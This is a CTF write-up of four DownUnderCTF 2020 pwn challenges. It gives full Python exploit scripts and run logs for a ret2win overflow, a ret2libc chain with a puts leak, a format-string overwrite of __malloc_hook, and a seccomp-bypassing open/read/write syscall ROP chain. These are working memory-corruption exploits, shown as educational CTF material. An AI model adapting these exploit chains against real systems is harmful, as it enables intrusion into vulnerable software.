Tags: seccomp ret2libc
Rating:
---
layout: post
title: "DownUnderCTF - Pwn challenges"
subtitle: "Write-Up"
date: 2020-09-20
author: "D4mianwayne"
tag: pwn, roppy, seccomp. ret2libc
category: CTF writeup
---
I played this CTF mainly because I was chilling out and wanted to try out some challenges from the CTF and since `Faith` was the author of some challenges I wanted to try those out. I managed to do the following challenges:-
# Shell This
We were given the source code and the binary attached, this was simple ret2win attack, since the only protection the binary had was `NX Enabled` which means that no shellcode stuff, although we had a function named `get_shell` which does `execve("/bin/sh", 0, 0)`.
### Finding offset
Usually I had to go with gef's `pattern create` or pwntools's `cyclic` but using radare2:-
```r
[0x004005a0]> pdf @sym.vuln
; CALL XREF from main @ 0x400729
┌ 45: sym.vuln ();
│ ; var char *s @ rbp-0x30
│ 0x004006e7 55 push rbp ; shellthis.c:14
│ 0x004006e8 4889e5 mov rbp, rsp
│ 0x004006eb 4883ec30 sub rsp, 0x30
-- snip --
```
Since the local variable which is taking our input is of size `rbp - 0x30`, we can then add 8 bytes more to it to get the offset to RIP.
> When the number of local variables would be more than 1, use `pattern create` from gef.
Here's the exploit:-
```py
from roppy import *
p = remote("chal.duc.tf", 30002)
elf = ELF("shellthis")
payload = b"A"*56
payload += p64(elf.function("get_shell"))
p.sendlineafter(": ", payload)
p.interactive()
```
Running the exploit:-
```r
1 [01:01:26] vagrant@oracle(oracle) DUCTF> python3 shellthis.py
[+] Opening connection to chal.duc.tf on port 30002: Done
[*] Analyzing /home/vagrant/CTFs/DUCTF/shellthis
[*] Switching to interactive mode
$ cat flag.txt
DUCTF{h0w_d1d_you_c4LL_That_funCT10n?!?!?}
$
[*] Interrupted
[*] Closed connection to chal.duc.tf port 30002
```
# return-to-what
This was also a simple ret2libc attack with the remote system being Ubuntu 18.04 which means there's a stack aligment issue, finding the offset was easy. since binary had `NO PIE` we can leak the GOT address of the `puts` then calculate the LIBC's base address and then write a ROP chain which do `system("/bin/sh")`.
```py
from roppy import *
p = remote("chal.duc.tf", 30003)
context.arch = "amd64"
elf = ELF("return-to-what")
libc = ELF("libc6_2.27-3ubuntu1_amd64.so")
pop_rdi = 0x000000000040122b
payload = b"A"*56
# Leak puts by doing `puts(puts@got)`
payload += p64(pop_rdi)
payload += p64(elf.got("puts"))
payload += p64(elf.plt("puts"))
# Calling vuln again
payload += p64(elf.function("vuln"))
p.sendlineafter("?\n", payload)
# Recieving the leaked address and parsing it
leak = u64(p.recv(6).ljust(8, b"\x00"))
log.info("LEAK: 0x%x" %(leak))
libc.address = leak - libc.function("puts")
payload = b"A"*56
# Calling the `system("/bin/sh")`
payload += p64(0x0000000000401016) # ret;
payload += p64(pop_rdi)
payload += p64(libc.search(b"/bin/sh\x00"))
payload += p64(libc.function('system'))
p.sendlineafter("?\n", payload)
p.interactive()
```
Running the exploit:-
```r
0 [01:04:58] vagrant@oracle(oracle) DUCTF> python3 return-to-what.py
[+] Opening connection to chal.duc.tf on port 30003: Done
[*] Analyzing /home/vagrant/CTFs/DUCTF/return-to-what
[*] Analyzing /home/vagrant/CTFs/DUCTF/libc6_2.27-3ubuntu1_amd64.so
[*] LEAK: 0x7fc2c21d19c0
[*] Switching to interactive mode
$ cat flag.txt
DUCTF{ret_pUts_ret_main_ret_where???}
$
[*] Interrupted
[*] Closed connection to chal.duc.tf port 30003
```
> Alternatively, for the next ROP chain you can do `payload = b"A"*56 + one_gadget` where `one_gadget` could be `one_gadget = libc.address + 0x4f2c5`
# My First Echo Server
As the name implies, it is something related to format string, since it has all the protections enabled and we can invoke the format string vulnerability 3 times, we have to be careful, I divided all 3 into different step:-
```r
| 0x00000834 c745ac000000. mov dword [var_54h], 0
| ,=< 0x0000083b eb2d jmp 0x86a
| | ; CODE XREF from main @ 0x86e
| .--> 0x0000083d 488b15dc0720. mov rdx, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
| :| ; [0x201020:8]=0 ; FILE *stream
| :| 0x00000844 488d45b0 lea rax, qword [format]
| :| 0x00000848 be40000000 mov esi, 0x40 ; segment.PHDR ; int size
| :| 0x0000084d 4889c7 mov rdi, rax ; char *s
| :| 0x00000850 e84bfeffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
| :| 0x00000855 488d45b0 lea rax, qword [format]
| :| 0x00000859 4889c7 mov rdi, rax ; const char *format
| :| 0x0000085c b800000000 mov eax, 0
| :| 0x00000861 e82afeffff call sym.imp.printf ; int printf(const char *format)
| :| 0x00000866 8345ac01 add dword [var_54h], 1
| :| ; CODE XREF from main @ 0x83b
| :`-> 0x0000086a 837dac02 cmp dword [var_54h], 2
| `==< 0x0000086e 7ecd jle 0x83d
```
Since the `var_54h` is the loop counter you can it is being compared to the value `2` and being incremented eveytime after the `printf` is being called, so we have to craft the payload carefully.
* 1: 1st counter we will leak the `libc_start_main + 231` off the stack.
* 2: With LIBC address in hand. we overwrite the `__malloc_hook` in LIBC since it resides in `r/w` region of the LIBC we can overwrite.
* 3: Call `__malloc_hook` by giving `%66000c` this happens because `printf` calls `malloc` when there's a large number of charcaters to print, it has to allocate memory, eventually calling `__malloc_hook`.
Here's the exploit:-
```py
from roppy import *
elf = ELF("echos")
libc = ELF("libc6_2.27-3ubuntu1_amd64.so")
p = remote('chal.duc.tf', 30001)
def send(payload):
p.sendline(payload)
send("%18$p-%19$p")
leaks = p.recvline().split(b"-")
leak = int(leaks[0], 16)
log.info("LEAK: 0x%x" %(leak))
elf.address = leak - 0x890
log.info("ELF: 0x%x" %(elf.address))
leak = int(leaks[1], 16)
log.info("LEAK: 0x%x" %(leak))
libc.address = leak - libc.function("__libc_start_main") - 231
log.info("LIBC: 0x%x" %(libc.address))
one_gadget = libc.address + 0x4f322
malloc_hook = libc.symbol("__malloc_hook")
payload = fmtstr64(8, {malloc_hook: one_gadget})
send(payload)
send("%66000c")
p.interactive()
```
Running the exploit:-
```r
0 [01:27:53] vagrant@oracle(oracle) DUCTF> python3 echos.py
[*] Analyzing /home/vagrant/CTFs/DUCTF/echos
[*] Analyzing /home/vagrant/CTFs/DUCTF/libc6_2.27-3ubuntu1_amd64.so
[+] Opening connection to chal.duc.tf on port 30001: Done
[*] LEAK: 0x55c50eb9a890
[*] ELF: 0x55c50eb9a000
[*] LEAK: 0x7f17a35d8b97
[*] LIBC: 0x7f17a35b7000
[!] Can't avoid null byte at address 0x7f17a39a2c30
[!] Can't avoid null byte at address 0x7f17a39a2c32
[!] Payload contains NULL bytes.
[*] Switching to interactive mode
-- snip --
$ cat flag.txt
DUCTF{D@N6340U$_AF_F0RMAT_STTR1NG$}
$
[*] Interrupted
[*] Closed connection to chal.duc.tf port 30001
```
# Return-to-what revenge
This was also a ret2libc attack but the catch was the seccomp rules, the only allowed syscalls were `read`, `write`. `open` and since the location of the flag was specified, we only had one way, craft a syscall ropchain to read the flag via the allowed syscalls.
```r
d4mian@oracle:~/CTFs/DCTF$ seccomp-tools dump ./return-to-what-revenge
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL
```
Okay, so it is not something very trivial, at this point I really wanted roppy to have some ROP chain module but that is on it's way, so let's the chain ourselves:-
First, we need to leak the LIBC attack, we can do that ourselves just like we did in `return-to-what`:-
```py
from roppy import *
p = remote("chal.duc.tf", 30006)
elf = ELF("return-to-what-revenge")
libc = ELF("libc6_2.27-3ubuntu1_amd64.so")
pop_rdi = 0x00000000004019db
flag_location = elf.section(".bss") + 0x400
flag = elf.section(".bss") + 0x200
```
Now, we need to leak the LIBC:-
```py
payload = b"A"*56
payload += p64(pop_rdi)
payload += p64(elf.got("puts"))
payload += p64(elf.plt("puts"))
```
Now the above chain will leak LIBC, we also need to store the flag location to BSS so the address could be used for `open` later, we do `gets(bss)` with following rop chain:-
```py
payload += p64(pop_rdi)
payload += p64(flag_location)
payload += p64(elf.plt('gets'))
```
We call the `vuln` again so we can send ROP chain later:-
```py
payload += p64(elf.function("vuln"))
p.sendlineafter("?\n", payload)
# Parse the leaked address
leak = u64(p.recv(6).ljust(8, b"\x00"))
log.info("LEAK: 0x%x" %(leak))
libc.address = leak - libc.function("puts")
```
We need following gadgets to specify the syscall number and pass arguments to functions called:-
```py
pop_rdx = libc.address + 0x0000000000001b96
pop_rsi = libc.address + 0x0000000000023e6a
syscall = libc.address + 0x00000000000d2975
pop_rax = libc.address + 0x00000000000439c8
log.info("LIBC: 0x%x" %(libc.address))
```
Now, since we get the address of the LIBC, that means we need to give the `/chal/flag.txt` as a location:-
```py
p.sendline("/chal/flag.txt")
```
Now, time to for real deal:-
```py
payload = b"A"*56
payload += p64(0x401016) # ret; since it is Ubuntu 18.04
```
Now, we do `open` syscall with path being the flag location and mode being the `read-only`:-
```py
'''
open("/chal/flag.txt", 0);
'''
payload += p64(pop_rax)
payload += p64(0x2)
payload += p64(pop_rdi)
payload += p64(flag_location)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(syscall)
```
Then. we do read syscall, since no file is being opened within the binary the `fd` would be 3.(educated guess)
```py
'''
read(0x3, flag, 0x100);
'''
payload += p64(pop_rdi)
payload += p64(0x3)
payload += p64(pop_rsi)
payload += p64(flag)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(pop_rax)
payload += p64(0x0)
payload += p64(syscall)
```
Then we do write syscall, writing the flag to the stdout:-
```py
'''
write(1, flag, 0x100);
'''
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(flag)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(pop_rax)
payload += p64(0x1)
payload += p64(syscall)
p.sendlineafter("?\n", payload)
p.interactive()
```
Running the exploit:-
```r
0 [01:41:15] vagrant@oracle(oracle) DUCTF> python3 return-to-what-revenge.py
[+] Opening connection to chal.duc.tf on port 30006: Done
[*] Analyzing /home/vagrant/CTFs/DUCTF/return-to-what-revenge
[*] Analyzing /home/vagrant/CTFs/DUCTF/libc6_2.27-3ubuntu1_amd64.so
[*] LEAK: 0x7f9825f2c9c0
[*] LIBC: 0x7f9825eac000
[*] Switching to interactive mode
DUCTF{secc0mp_noT_$tronk_eno0Gh!!@}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to chal.duc.tf port 30006
0 [01:41:24] vagrant@oracle(oracle) DUCTF>
```